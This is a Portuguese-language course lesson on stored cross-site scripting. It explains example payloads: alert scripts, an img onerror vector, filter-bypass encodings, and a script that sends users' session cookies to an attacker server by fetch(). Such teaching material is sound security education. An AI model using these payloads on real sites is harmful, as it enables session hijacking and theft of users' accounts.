Aula 40 | XSS Armazenado P2

Aula 40 | XSS Armazenado P2

XSS Armazenado P2

XSS Armazenado, como vimos anteriormente, é um tipo de vulnerabilidade onde o código malicioso é armazenado no servidor e executado sempre que um usuário acessa o conteúdo comprometido. Aqui estão alguns exemplos de código comuns e o que eles fazem:

Exemplos de Código

  1. Alertas Simples

<script>alert('Você foi hackeado!');</script>
  • O que Faz: Exibe uma mensagem de alerta no navegador do usuário.

  • Exemplo de Uso: Um atacante injeta este script em um campo de comentário. Quando o comentário é carregado, o alerta é exibido, indicando que o script foi executado.

  1. Roubo de Cookies

<script>
fetch('http://192.168.1.223/rouba_cookie?' + document.cookie);
</script>
  • O que Faz: Envia os cookies do usuário para o servidor do atacante.

  • Exemplo de Uso: Um atacante pode roubar as sessões de login dos usuários ao enviar seus cookies de sessão para um servidor controlado pelo atacante.

  1. Imagem com Evento onError

<img src="x" onerror="alert('Imagem não carregada!')">
  • O que Faz: Quando a imagem falha ao carregar (porque "x" não é um caminho válido), o evento onerror é disparado e exibe um alerta.

  • Exemplo de Uso: O atacante insere este código em um campo que espera uma URL de imagem. Quando a imagem não é carregada, o alerta é exibido.

Mecanismos de Segurança e Técnicas de Bypass

Muitos sites implementam mecanismos de segurança para mitigar ataques XSS. No entanto, os atacantes frequentemente encontram formas de contornar essas defesas.

  1. Filtragem de Caracteres

  • Mecanismo: Alguns sites filtram caracteres especiais para evitar a injeção de scripts.

  • Técnica de Bypass: Os atacantes podem usar técnicas de codificação para contornar a filtragem. Por exemplo, eles podem codificar caracteres em HTML:

<script>alert(String.fromCharCode(88,83,83))</script>

O que Faz: Codifica o alerta de XSS usando String.fromCharCode, que converte números ASCII em caracteres.

  1. Escapamento de Entrada

  • Mecanismo: Alguns sites escapam caracteres especiais nas entradas do usuário.

  • Técnica de Bypass: Os atacantes podem usar vetores de ataque alternativos, como inserir atributos em tags HTML:

"><img src="x" onerror="alert('XSS!')">
  • O que Faz: Fecha um atributo existente e insere uma nova tag img com um evento onerror que dispara um alerta.

 

Sugestões de Aulas

Aula 41 | XSS DOM

Ver Aula

Aula 39 | XSS Armazenado P1

Ver Aula

Aula 92 | Identidade Anônima P3

Ver Aula